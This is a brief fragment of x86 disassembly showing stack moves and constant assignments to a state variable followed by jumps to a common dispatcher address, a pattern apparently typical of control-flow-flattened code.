mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x108], 0x60077e6
jmp 0x1000dcf3
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x108], 0x34fc36dc
jmp 0x1000dcf3
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x108], 0x832d47d3
jmp 0x1000dcf3
jmp 0x100060f0